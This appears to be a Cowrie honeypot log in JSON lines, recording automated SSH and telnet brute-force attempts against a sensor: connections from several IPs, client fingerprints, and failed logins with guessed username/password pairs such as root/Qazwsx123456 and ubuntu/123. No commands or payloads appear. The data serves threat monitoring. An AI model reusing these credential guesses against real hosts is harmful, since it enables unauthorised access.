{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:13.421215Z","src_ip":"196.188.93.169","session":"f87415e7eae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pds","password":"pds","message":"login attempt [pds/pds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:14.910840Z","src_ip":"91.92.40.36","session":"b8a637e8eb64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:16.356136Z","src_ip":"91.92.40.36","session":"0d39f4bdfbb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16990,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3990f968fc","protocol":"ssh","message":"New connection: 91.92.40.36:16990 (10.17.0.5:22) [session: 1d3990f968fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:16.792258Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":43612,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c4a4f670dd0","protocol":"ssh","message":"New connection: 163.7.9.84:43612 (10.17.0.5:22) [session: 2c4a4f670dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:16.851758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:16.856297Z","src_ip":"163.7.9.84","session":"2c4a4f670dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:17.123344Z","src_ip":"163.7.9.84","session":"2c4a4f670dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:17.730260Z","src_ip":"91.92.40.36","session":"b8a637e8eb64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazwsx123456","message":"login attempt [root/Qazwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:18.222140Z","src_ip":"163.7.9.84","session":"2c4a4f670dd0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:18.946664Z","src_ip":"91.92.40.36","session":"1d3990f968fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:18.950616Z","src_ip":"91.92.40.36","session":"1d3990f968fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:19.493089Z","src_ip":"163.7.9.84","session":"2c4a4f670dd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad123","message":"login attempt [milad/milad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:21.002165Z","src_ip":"91.92.40.36","session":"934011a1fc32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17098,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fc01ddcc9d5","protocol":"ssh","message":"New connection: 91.92.40.36:17098 (10.17.0.5:22) [session: 5fc01ddcc9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:23.430355Z"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:23.437028Z","src_ip":"91.92.40.36","session":"934011a1fc32","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:25.067146Z","src_ip":"91.92.40.36","session":"5fc01ddcc9d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:25.071543Z","src_ip":"91.92.40.36","session":"5fc01ddcc9d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:25.274514Z","src_ip":"91.92.40.36","session":"1d3990f968fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38160,"dst_ip":"159.203.135.109","dst_port":23,"session":"09ac8a859c1d","protocol":"telnet","message":"New connection: 128.199.8.54:38160 (159.203.135.109:23) [session: 09ac8a859c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:26.326049Z"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:27.822745Z","src_ip":"91.92.40.36","session":"1d3990f968fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37408,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab966f34431d","protocol":"ssh","message":"New connection: 91.92.40.36:37408 (10.17.0.5:22) [session: ab966f34431d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:29.014028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:30.624394Z","src_ip":"91.92.40.36","session":"ab966f34431d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:30.627635Z","src_ip":"91.92.40.36","session":"ab966f34431d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"headscale","password":"123456","message":"login attempt [headscale/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:31.286263Z","src_ip":"91.92.40.36","session":"5fc01ddcc9d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":41066,"dst_ip":"159.203.135.109","dst_port":22,"session":"a94bc7ec5845","protocol":"ssh","message":"New connection: 102.210.148.92:41066 (159.203.135.109:22) [session: a94bc7ec5845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:32.922840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:32.927843Z","src_ip":"102.210.148.92","session":"a94bc7ec5845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:33.168284Z","src_ip":"102.210.148.92","session":"a94bc7ec5845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:34.143788Z","src_ip":"91.92.40.36","session":"5fc01ddcc9d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fernanda","password":"fernanda","message":"login attempt [fernanda/fernanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:34.159256Z","src_ip":"102.210.148.92","session":"a94bc7ec5845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:35.402135Z","src_ip":"102.210.148.92","session":"a94bc7ec5845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37468,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aed2d261317","protocol":"ssh","message":"New connection: 91.92.40.36:37468 (10.17.0.5:22) [session: 6aed2d261317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:35.537993Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":47492,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ede5a4f6aaf","protocol":"ssh","message":"New connection: 181.188.176.242:47492 (10.17.0.5:22) [session: 6ede5a4f6aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:36.266055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:36.270324Z","src_ip":"181.188.176.242","session":"6ede5a4f6aaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":35892,"dst_ip":"159.203.135.109","dst_port":22,"session":"f826374a8fd4","protocol":"ssh","message":"New connection: 103.84.236.242:35892 (159.203.135.109:22) [session: f826374a8fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:36.325758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:36.333356Z","src_ip":"103.84.236.242","session":"f826374a8fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:36.431623Z","src_ip":"181.188.176.242","session":"6ede5a4f6aaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:36.571225Z","src_ip":"103.84.236.242","session":"f826374a8fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123","message":"login attempt [ubuntu/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:36.691325Z","src_ip":"91.92.40.36","session":"ab966f34431d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:36.703634Z","src_ip":"91.92.40.36","session":"6aed2d261317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:36.709141Z","src_ip":"91.92.40.36","session":"6aed2d261317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zx123456","message":"login attempt [root/zx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:37.110202Z","src_ip":"181.188.176.242","session":"6ede5a4f6aaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"123","message":"login attempt [dbadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:37.509666Z","src_ip":"103.84.236.242","session":"f826374a8fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:38.281913Z","src_ip":"181.188.176.242","session":"6ede5a4f6aaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:38.491450Z","src_ip":"91.92.40.36","session":"ab966f34431d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:25:38.744048Z","src_ip":"103.84.236.242","session":"f826374a8fd4","protocol":"ssh"}
